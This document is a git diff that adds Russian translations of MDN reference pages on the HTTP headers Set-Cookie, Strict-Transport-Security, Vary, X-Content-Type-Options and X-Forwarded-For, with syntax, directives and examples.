+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://webmasters.googleblog.com/2011/01/how-to-deal-with-planned-site-downtime.html">Google Webmaster blog: How to deal with planned site downtime</a></li>
+ <li>{{HTTPStatus(503)}} (Service Unavailable)</li>
+ <li>{{HTTPStatus(301)}} (Moved Permanently)</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/set-cookie/index.html b/files/ru/web/http/заголовки/set-cookie/index.html
new file mode 100644
index 0000000000..d7822a1790
--- /dev/null
+++ b/files/ru/web/http/заголовки/set-cookie/index.html
@@ -0,0 +1,193 @@
+---
+title: Set-Cookie
+slug: Web/HTTP/Заголовки/Set-Cookie
+translation_of: Web/HTTP/Headers/Set-Cookie
+---
+<div>
+<p>{{HTTPSidebar}}</p>
+
+<p>HTTP заголовок <strong><code>Set-Cookie</code></strong> используется для отправки cookies с сервера на агент пользователя.</p>
+
+<p>Для детальной информации, смотрите руководство по  <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a>.</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="notranslate">Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Expires=&lt;date&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Max-Age=&lt;non-zero-digit&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Domain=&lt;domain-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Path=&lt;path-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Secure
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; HttpOnly
+
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; SameSite=Strict
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; SameSite=Lax
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; SameSite=None {{experimental_inline}}
+
+// Multiple directives are also possible, for example:
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Domain=&lt;domain-value&gt;; Secure; HttpOnly
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<ul>
+ <li>По умолчанию - хост текущего URL документа, не включая поддомены</li>
+ <li>В текущей спецификация начальная точка в имени хоста игнорируется (<code>.example.com</code>)</li>
+ <li>Cookie будут отправляться также на поддомены указанного хоста</li>
+ <li>Указывать несколько хостов недопустимо.</li>
+</ul>
+
+<ul>
+ <li>По умолчанию - хост текущего URL документа, не включая поддомены</li>
+ <li>В текущей спецификация начальная точка в имени хоста игнорируется (.example.com)</li>
+ <li>Cookie будут отправляться также на поддомены указанного хоста</li>
+ <li>Указывать несколько хостов недопустимо.</li>
+</ul>
+
+<dl>
+ <dt><code>&lt;cookie-name&gt;=&lt;cookie-value&gt;</code></dt>
+ <dd>Cookie начинается с пары имя-значение:
+ <ul>
+  <li><code>&lt;cookie-name&gt;</code> может содержать любые символы US-ASCII, за исключением управляющих символов (CTLs), пробелов, или табуляций. Оно также не должно содержать разделительнных символов, таких как следующие: <code>( ) &lt; &gt; @ , ; : \ " /  [ ] ? = { }</code>.</li>
+  <li><code>&lt;cookie-value&gt;</code> может быть опционально заключено в двойные кавычки,   разрешены любые символы US-ASCII за исключением CTLs, пробела, двойных кавычек, запятой, точки с запятой, и обратного слэша. <strong>Кодирование:</strong> Многие реализации выполняют кодирование в значениях cookies, однако этого не требуется по спецификации RFC.  Однако, это помогает удовлетворить требование о разрешенных символах в &lt;cookie-value&gt;.</li>
+  <li><strong><code>__Secure-</code> prefix</strong> {{non-standard_inline}}: Cookies с именем, начинающимся с  <code> __Secure-</code> (подчеркивание является частью префикса ) должны быть установлены вместе с флагом secure, и должны быть с безопасной страницы (HTTPS).</li>
+  <li><strong><code>__Host-</code> prefix</strong> {{non-standard_inline}}: Cookies с именем, начинающимся с <code>__Host-</code> должны быть установлены с флагом secure <code>secure</code>, должны быть с безопасной страницы (HTTPS),  не должны иметь определенный домен (и, следовательно, не не посылаются поддоменами), а также параметр Path должен быть "/".</li>
+ </ul>
+ </dd>
+ <dt><code>Expires=&lt;date&gt;</code> {{optional_inline}}</dt>
+ <dd>
+ <p>Максимальное время жизни cookie в формате метки даты-времени HTTP.  См. {{HTTPHeader("Date")}} о деталях формата  Если не определен, cookie будет иметь время жизни <strong>сессионного cookie.   </strong>Сессия окончена, когда клиент отключается, что приводит к удалению сессионных cookie в этот момент. Однако, многие браузеры имеют возможность, называемую восстановление сессии, которая сохраняет все ваши вкладки и затем возвращает их, когда вы в следующий раз запускаете браузер. Cookies будут также присутствовать, словно вы никогда не закрывали браузер.</p>
+
+ <p>Когда установливается срок действия, время и дата устанавливаются не относитеьно сервера, а относительно клиента, на котором установлено cookie,</p>
+ </dd>
+ <dt><code>Max-Age=&lt;number&gt; </code>{{optional_inline}}</dt>
+ <dd>Количество секунд, после которого cookie устаревает.  Ноль или отрицательное число приводят к моментальному устареванию cookie. Старые браузеры (ie6, ie7, and ie8) не поддерживают Max-Age.  Для прочих браузеров, если оба параметра (<code>Expires</code> and <code>Max-Age</code>) установлены, <code>Max-Age</code> будет иметь преимущество.</dd>
+ <dt><code>Domain=&lt;domain-value&gt;</code> {{optional_inline}}</dt>
+ <dd>Хост, на который будут отправляться cookie.<br>
+ <br>
+ По умолчанию - хост текущего URL документа, не включая поддомены<br>
+ В текущей спецификация начальная точка в имени хоста игнорируется (.example.com)<br>
+ Cookie будут отправляться также на поддомены указанного хоста<br>
+ Указывать несколько хостов недопустимо.</dd>
+ <dt><code>Path=&lt;path-value&gt;</code> {{optional_inline}}</dt>
+ <dd>Путь, который должен существовать в запрошенном URL, иначе браузер не отправит заголовок Cookie.</dd>
+ <dd>Пример: <code>/</code> - cookie будет отправляться со всеми запросами<br>
+ Пример: <code>/docs/</code> - cookie будет отправляться с запросами к директории docs и ее поддиректориям</dd>
+ <dt><code>Secure</code> {{optional_inline}}</dt>
+ <dd>Cookie будет отправлен на сервер только с запросами c использованием SSL и протокола HTTPS.<br>
+ <br>
+ Cookie не будет дополнительно шифроваться, поэтому в нем не стоит хранить конфиденциальную инфомрацию.</dd>
+ <dd>
+ <p><strong>Note:</strong> небезопасные сайты (<code>http:</code>) не могут использовать cookie с атрибутом "secure" (начиная с Chrome 52+ и Firefox 52+).</p>
+ </dd>
+ <dt><code>HttpOnly</code> {{optional_inline}}</dt>
+ <dd>Запрещает JavaScript доступ к cookie</dd>
+ <dd>Полезно для защиы от XSS-атак.</dd>
+ <dt><code>SameSite=&lt;samesite-value&gt;</code> {{optional_inline}}</dt>
+</dl>
+
+<ul>
+ <li><code>Strict</code>: The browser sends the cookie only for same-site requests (that is, requests originating from the same site that set the cookie). If the request originated from a different URL than the current one, no cookies with the <code>SameSite=Strict</code> attribute are sent.</li>
+ <li><code>Lax</code>: The cookie is withheld on cross-site subrequests, such as calls to load images or frames, but is sent when a user navigates to the URL from an external site, such as by following a link</li>
+ <li><code>None</code>: The browser sends the cookie with both cross-site and same-site requests</li>
+</ul>
+
+<dl>
+ <dd>
+ <p>Allows servers to assert that a cookie ought not to be sent along with cross-site requests, which provides some protection against cross-site request forgery attacks ({{Glossary("CSRF")}}).</p>
+
+ <p>Современные браузеры используют <code>SameSite=Lax</code>. Если необходима работа <code>SameSite=</code><code>None</code> cookie должна быть установлена с атрибутом <code>Secure</code>.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Сессионный_cookie">Сессионный cookie</h3>
+
+<p>Сессионные cookies будут удалены после отключения клиента. В них не указываются директивы <code>Expires</code> или <code>Max-Age</code>. Учитывайте, что часто в браузере включено восстановление сессии.</p>
+
+<pre class="notranslate">Set-Cookie: sessionid=38afes7a8; HttpOnly; Path=/</pre>
+
+<h3 id="Постоянный_cookie">Постоянный cookie</h3>
+
+<p>Вместо истечения срока действия, когда клиент закрыт, срок действия постоянных файлов cookie истекает в определенную дату (<code>Expires</code>) или по истечении определенного промежутка времени (<code>Max-Age</code>).</p>
+
+<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
+</pre>
+
+<h3 id="Неверные_домены">Неверные домены</h3>
+
+<p>Файл cookie, принадлежащий домену, который не включает исходный сервер, <a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3">должен быть отклонен пользовательским</a>. Следующий cookie будет отклонен, если он был установлен сервером, размещенным на originalcompany.com.</p>
+
+<pre class="notranslate">Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT</pre>
+
+<h3 id="Cookie_prefixes">Cookie prefixes</h3>
+
+<p>Cookies names with the prefixes <code>__Secure-</code> and <code>__Host-</code> can be used only if they are set with the <code>secure</code> directive from a secure (HTTPS) origin. In addition, cookies with the <code>__Host-</code> prefix must have a path of "/" (the entire host) and must not have a domain attribute. For clients that don't implement cookie prefixes, you cannot count on having these additional assurances and the cookies will always be accepted.</p>
+
+<pre class="notranslate">// Both accepted when from a secure origin (HTTPS)
+Set-Cookie: __Secure-ID=123; Secure; Domain=example.com
+Set-Cookie: __Host-ID=123; Secure; Path=/
+
+// Rejected due to missing Secure directive
+Set-Cookie: __Secure-id=1
+
+// Rejected due to the missing Path=/ directive
+Set-Cookie: __Host-id=1; Secure
+
+// Rejected due to setting a domain
+Set-Cookie: __Host-id=1; Secure; Path=/; domain=example.com
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("6265", "Set-Cookie", "4.1")}}</td>
+   <td>HTTP State Management Mechanism</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-02">draft-ietf-httpbis-rfc6265bis-02</a></td>
+   <td>Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Set-Cookie")}}</p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<ul>
+ <li>Starting with Chrome 52 and Firefox 52, insecure sites (<code>http:</code>) can't set cookies with the "secure" directive anymore.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li>
+ <li>{{HTTPHeader("Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+</ul>
+</div>
diff --git a/files/ru/web/http/заголовки/strict-transport-security/index.html b/files/ru/web/http/заголовки/strict-transport-security/index.html
new file mode 100644
index 0000000000..c63308c97e
--- /dev/null
+++ b/files/ru/web/http/заголовки/strict-transport-security/index.html
@@ -0,0 +1,112 @@
+---
+title: Strict-Transport-Security
+slug: Web/HTTP/Заголовки/Strict-Transport-Security
+translation_of: Web/HTTP/Headers/Strict-Transport-Security
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>Strict-Transport-Security</code></strong>  - заголовок ответа (часто используется аббревиатура {{Glossary("HSTS")}}), позволяющий web-сайтам уведомить браузер о том, что доступ к ним должен быть осуществлен только посредством HTTPS вместо HTTP.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">Strict-Transport-Security: max-age=&lt;expire-time&gt;
+Strict-Transport-Security: max-age=&lt;expire-time&gt;; includeSubDomains
+Strict-Transport-Security: max-age=&lt;expire-time&gt;; preload
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>max-age=&lt;expire-time&gt;</code></dt>
+ <dd>Время, в секундах, которое браузер должен помнить, что сайт доступен только с помощью HTTPS.</dd>
+ <dt><code>includeSubDomains</code> {{optional_inline}}</dt>
+ <dd>Если этот опциональный параметр задан, то правило также применяется ко всем саб-доменам сайта.</dd>
+ <dt><code>preload</code> {{optional_inline}}</dt>
+ <dd>Смотри {{anch("Предзагрузка Strict Transport Security")}} для большей информации. Не часть спецификации.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Если сайт поддерживает доступ с помощью HTTP и перенаправляет на HTTPS, посетители могут изначально коммуницировать с незащищенной версией сайта до перенаправления, если, к примеру, введут http://www.foo.com/ или даже просто foo.com. Это открывает возможности для атак посредников. Перенаправление может быть использовано для перевода посетителей на сайт злоумышленников вместо защищенной версии оригинального сайта.</p>
+
+<p>HTTP Strict Transport Security заголовок сообщает браузеру, что тот никогда не должен загружать сайт через HTTP и всегда должен автоматически конвертировать все попытки доступа к сайту с помощью HTTP в HTTPS.</p>
+
+<div class="note"><strong>Заметка:</strong> <code>Strict-Transport-Security</code>  заголовок <strong>игнорируется </strong>браузером, если сайт может быть доступен с помощью HTTP, потому что атакующий может перехватить HTTP соединение и внедрить заголовок или убрать его. Когда сайт доступен по HTTPS без ошибок сертификата, браузер знает, что сайт может работать по HTTPS и примет <code>Strict-Transport-Security</code> заголовок.</div>
+
+<h3 id="Пример_сценария">Пример сценария</h3>
+
+<p>Вы залогинились через бесплатную точку доступа WiFi в аэропорту и начали серфить в сети, посещая ваш сервис online-банкинга для того, чтобы проверить баланс и оплатить пару счетов. К сожалению, точка доступа на самом деле хакерский ноутбук, и они перехватывают ваш оригинальный HTTP запрос и перенаправляют вас на клонированную версию вашего банковского сайта. Теперь ваша личная информация доступна хакерам.</p>
+
+<p>Strict Transport Security разрешает эту проблему; пока вы подключены к вашему банковскому сайту с помощью HTTPS и тот использует Strict Transport Security, ваш браузер знает, что должен автоматически использовать только HTTPS, который не позволяет хакерам производить подобные атаки посредников.</p>
+
+<h3 id="Как_ведет_себя_браузер">Как ведет себя браузер</h3>
+
+<p>При первом доступе к сайту с помощью HTTPS и возврате <code>Strict-Transport-Security</code> заголовка, браузер сохраняет эту информацию, чтобы в дальнейшем при загрузке сайта через HTTP тот автоматически использовал HTTPS.</p>
+
+<p>Когда время истечения, заданное Strict-Transport-Security заголовком, заканчивается, следующая попытка загрузки сайта с помощью HTTP будет воспринята, как обычная без автоматического использования HTTPS.</p>
+
+<p>Каждый раз, когда браузер получает Strict-Transport-Security заголовок, он обновляет время истечения этого сайта, так что сайт может обновлять эту информацию и предотвратить его завершение. Если необходимо отключить Strict-Transport-Security, установите max-age в 0 (через https соединение) и тот моментально завершит <code>Strict-Transport-Security</code> заголовок, открывая доступ через http.</p>
+
+<h2 id="Предзагрузка_Strict_Transport_Security">Предзагрузка Strict Transport Security</h2>
+
+<p>Google поддерживает<a href="https://hstspreload.org/"> HSTS preload service</a>. Следуя инструкциям и удачно отправив свой домен, браузер никогда не подключится к вашему домену через незащищенное соединение. Так как сервис хостится Google, все браузеры должны изъявить о намерении использовать (или на самом деле начать пользоваться) предзагруженным списком. Однако, это не часть HSTS спецификации и не должно считаться официальным.</p>
+
+<ul>
+ <li>Информация о списке HSTS предзагрузки в Chrome : <a href="https://www.chromium.org/hsts">https://www.chromium.org/hsts</a></li>
+ <li>Консультация о списке HSTS предзагрузки от Firefox: <a href="https://hg.mozilla.org/mozilla-central/raw-file/tip/security/manager/ssl/nsSTSPreloadList.inc">nsSTSPreloadList.inc</a></li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Все текущие и будущие сабдомены будут HTTPS по max-age на 1 год. Это блокирует доступ к страницам или сабдоменам, которые могут быть доступны только по HTTP.</p>
+
+<pre class="notranslate">Strict-Transport-Security: max-age=31536000; includeSubDomains</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HSTS')}}</td>
+   <td>{{Spec2('HSTS')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Strict-Transport-Security")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Blog post: <a class="external" href="http://blog.sidstamm.com/2010/08/http-strict-transport-security-has.html">HTTP Strict Transport Security has landed!</a></li>
+ <li>Blog post: <a class="external" href="http://hacks.mozilla.org/2010/08/firefox-4-http-strict-transport-security-force-https/">HTTP Strict Transport Security (force HTTPS)</a></li>
+ <li>OWASP Article: <a href="https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.md">HTTP Strict Transport Security</a></li>
+ <li>Wikipedia: {{interwiki("wikipedia", "HTTP Strict Transport Security")}}</li>
+ <li>Browser test site: <a href="https://projects.dm.id.lv/Public-Key-Pins_test">HSTS and HPKP test</a></li>
+ <li><a href="/en-US/docs/Web/Security/Secure_Contexts/features_restricted_to_secure_contexts">Features restricted to secure contexts</a></li>
+</ul>
diff --git a/files/ru/web/http/заголовки/vary/index.html b/files/ru/web/http/заголовки/vary/index.html
new file mode 100644
index 0000000000..a9bf3238e6
--- /dev/null
+++ b/files/ru/web/http/заголовки/vary/index.html
@@ -0,0 +1,81 @@
+---
+title: Vary
+slug: Web/HTTP/Заголовки/Vary
+translation_of: Web/HTTP/Headers/Vary
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок ответа <strong><code>Vary</code></strong> определяет, как сопоставить будущие заголовки запроса, чтобы решить, можно ли использовать кэшированный ответ, а не запрашивать новый с исходного сервера. Он используется сервером для указания того, какие заголовки он использовал при выборе представления ресурса в <a href="/en-US/docs/Web/HTTP/Content_negotiation">алгоритме согласования</a> контента.</p>
+
+<p>Заголовок <code>Vary</code> должен быть установлен для ответа {{HTTPStatus("304")}} <code>Not Modified</code> точно так же, как он был бы установлен для эквивалентного ответа {{HTTPStatus("200")}} <code>OK</code>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Vary: *
+Vary: &lt;header-name&gt;, &lt;header-name&gt;, ...
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>*</dt>
+ <dd>Каждый запрос должен рассматриваться как уникальный и не кэшируемый. Лучший способ указать это - использовать {{HTTPHeader ("Cache-Control")}}: <code>no-store</code>, который удобнее для чтения и также сигнализирует о том, что объект не должен храниться никогда.</dd>
+ <dt>&lt;header-name&gt;</dt>
+ <dd>Разделенный запятыми список имен заголовков, которые необходимо учитывать при принятии решения о том, можно ли использовать кэшированный ответ.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Dynamic_serving">Dynamic serving</h3>
+
+<p>When using the <code>Vary: User-Agent</code> header, caching servers should consider the user agent when deciding whether to serve the page from cache. For example, if you are serving different content to mobile users, it can help you to avoid that a cache may mistakenly serve a desktop version of your site to your mobile users. It can help Google and other search engines to discover the mobile version of a page, and might also tell them that no <a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a> is intended.</p>
+
+<pre>Vary: User-Agent</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Vary", "7.1.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Vary")}}</p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<ul>
+ <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2009/06/17/vary-with-care/">Vary with care – Vary header problems in IE6-9</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.smashingmagazine.com/2017/11/understanding-vary-header/">Understanding The Vary Header - Smashing Magazine</a></li>
+ <li><a href="https://www.fastly.com/blog/best-practices-for-using-the-vary-header">Best Practices for Using the Vary Header – fastly.com</a></li>
+ <li><a href="https://developer.mozilla.org/docs/Web/HTTP/Content_negotiation">Content negotiation</a></li>
+</ul>
diff --git a/files/ru/web/http/заголовки/x-content-type-options/index.html b/files/ru/web/http/заголовки/x-content-type-options/index.html
new file mode 100644
index 0000000000..7a1762e662
--- /dev/null
+++ b/files/ru/web/http/заголовки/x-content-type-options/index.html
@@ -0,0 +1,83 @@
+---
+title: X-Content-Type-Options
+slug: Web/HTTP/Заголовки/X-Content-Type-Options
+tags:
+  - HTTP
+  - HTTP заголовки
+  - Ответы заголовка
+  - Справка
+translation_of: Web/HTTP/Headers/X-Content-Type-Options
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">HTTP-заголовок ответа</span></span> <code><strong>X-Content-Type-Options</strong></code> <span class="tlid-translation translation" lang="ru"><span title="">является маркером, используемым сервером для указания того, что типы MIME, объявленные в заголовках {{HTTPHeader ("Content-Type")}}, должны соблюдаться и не изменяться.</span></span> Это позволяет отказаться от <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#MIME_sniffing">перехвата MIME</a>, или, другими словами, <span class="tlid-translation translation" lang="ru"><span title="">это способ сказать, что веб-мастера знали, что они делают.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Этот HTTP-заголовок был введен Microsoft в IE 8 как способ для веб-мастеров блокировать происходящий перехват содержимого и может преобразовывать неисполняемые типы MIME в исполняемые типы MIME.</span> <span title="">С тех пор другие браузеры внедрили его, даже если их алгоритмы прослушивания MIME были менее агрессивными.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Тестеры безопасности сайта обычно ожидают, что этот заголовок будет установлен.</span></span></p>
+
+<p class="blockIndicator note">Примечание: <code>nosniff</code> применяется только к типам "<code>script</code>" и "<code>style</code>". <span class="tlid-translation translation" lang="ru"><span title="">Также применение</span></span> <code>nosniff</code> <span class="tlid-translation translation" lang="ru"><span title="">к изображениям оказалось <a href="https://github.com/whatwg/fetch/issues/395">несовместимым с существующими веб-сайтами</a>.</span></span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">X-Content-Type-Options: nosniff
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>nosniff</code></dt>
+ <dd><span class="tlid-translation translation" lang="ru"><span title="">Блокирует запрос, если запрошенный тип:</span></span>
+ <ul>
+  <li>"<code>style</code>" и его MIME не "<code>text/css</code>", или</li>
+  <li>"<code>script</code>" и его MIME не <a href="https://html.spec.whatwg.org/multipage/scripting.html#javascript-mime-type">JavaScript MIME-тип</a>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table" style="height: 126px; width: 628px;">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Fetch", "#x-content-type-options-header", "X-Content-Type-Options definition")}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("http.headers.X-Content-Type-Options")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li><a href="https://blogs.msdn.microsoft.com/ie/2008/09/02/ie8-security-part-vi-beta-2-update/">Первоначальное определение</a> X-Content-Type-Options от Microsoft<span>®</span>.</li>
+ <li> Инструмент <a href="https://observatory.mozilla.org/">Обсерватория Mozilla</a> <span class="tlid-translation translation" lang="ru"><span title="">проверяющий конфигурацию (включая этот заголовок) веб-сайтов на безопасность.</span></span></li>
+ <li><a href="https://blog.mozilla.org/security/2016/08/26/mitigating-mime-confusion-attacks-in-firefox/">Смягчение MIME путаницы в Firefox</a></li>
+ <li><a href="https://fetch.spec.whatwg.org/#corb">Блокировка чтения из разных источников (Cross-Origin Read Blocking)</a></li>
+ <li><a href="https://chromium.googlesource.com/chromium/src/+/master/services/network/cross_origin_read_blocking_explainer.md">Google Docs CORB explainer</a></li>
+</ul>
diff --git a/files/ru/web/http/заголовки/x-forwarded-for/index.html b/files/ru/web/http/заголовки/x-forwarded-for/index.html
new file mode 100644
index 0000000000..e44d3bd8da
--- /dev/null
+++ b/files/ru/web/http/заголовки/x-forwarded-for/index.html
@@ -0,0 +1,72 @@
+---
+title: X-Forwarded-For
+slug: Web/HTTP/Заголовки/X-Forwarded-For
+tags:
+  - Заголовок
+  - заголовок запроса
+  - оригинальный адрес
+translation_of: Web/HTTP/Headers/X-Forwarded-For
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок <code>X-Forwarded-For</code> (XFF) является <a href="https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B0%D0%BD%D0%B4%D0%B0%D1%80%D1%82_%D0%B4%D0%B5-%D1%84%D0%B0%D0%BA%D1%82%D0%BE">де-факто стандартным</a> заголовком для идентификации происхождения IP-адреса клиента, подключающегося к веб-серверу через HTTP-прокси или балансировщик нагрузки. Когда трафик перехватывается между клиентами и серверами, журналы доступа к серверу содержат только IP-адрес прокси-сервера или балансировки нагрузки. Чтобы увидеть origin IP-адрес клиента, используется заголовок запроса <code>X-Forwarded-For</code>.</p>
+
+<p>Этот заголовок используется для отладки, статистики и создания зависимого от местоположения контента, и архитектурно он предоставляет секретную информацию, такую как IP-адрес клиента. Поэтому при использовании этого заголовка необходимо учитывать конфиденциальность пользователя.</p>
+
+<p>Стандартизованной версией этого заголовка является HTTP {{HTTPHeader("Forwarded")}} заголовок.</p>
+
+<p><code>X-Forwarded-For</code>  также является заголовком электронной почты, указывающим, что сообщение электронной почты было отправлено из другой учетной записи.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">X-Forwarded-For: &lt;client&gt;, &lt;proxy1&gt;, &lt;proxy2&gt;
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;client&gt;</dt>
+ <dd>IP адрес клиента</dd>
+ <dt>&lt;proxy1&gt;, &lt;proxy2&gt;</dt>
+ <dd>Если запрос проходит через несколько прокси-серверов, перечислены IP-адреса каждого последующего прокси-сервера. Это означает, что самый правый IP-адрес - это IP-адрес самого последнего прокси-сервера, а самый левый IP-адрес - это IP-адрес отправляющего клиента.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>X-Forwarded-For: 2001:db8:85a3:8d3:1319:8a2e:370:7348
+
+X-Forwarded-For: 203.0.113.195
+
+X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178
+</pre>
+
+<p>Other non-standard forms:</p>
+
+<pre># Used for some Google services
+X-ProxyUser-Ip: 203.0.113.19</pre>
+
+<h2 id="Спецификаци">Спецификаци</h2>
+
+<p>Не является частью любой текущей спецификации. Стандартизованная версия этого заголовка {{HTTPHeader("Forwarded")}}.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Forwarded")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Host")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Proto")}}</li>
+ <li>{{HTTPHeader("Via")}}</li>
+</ul>
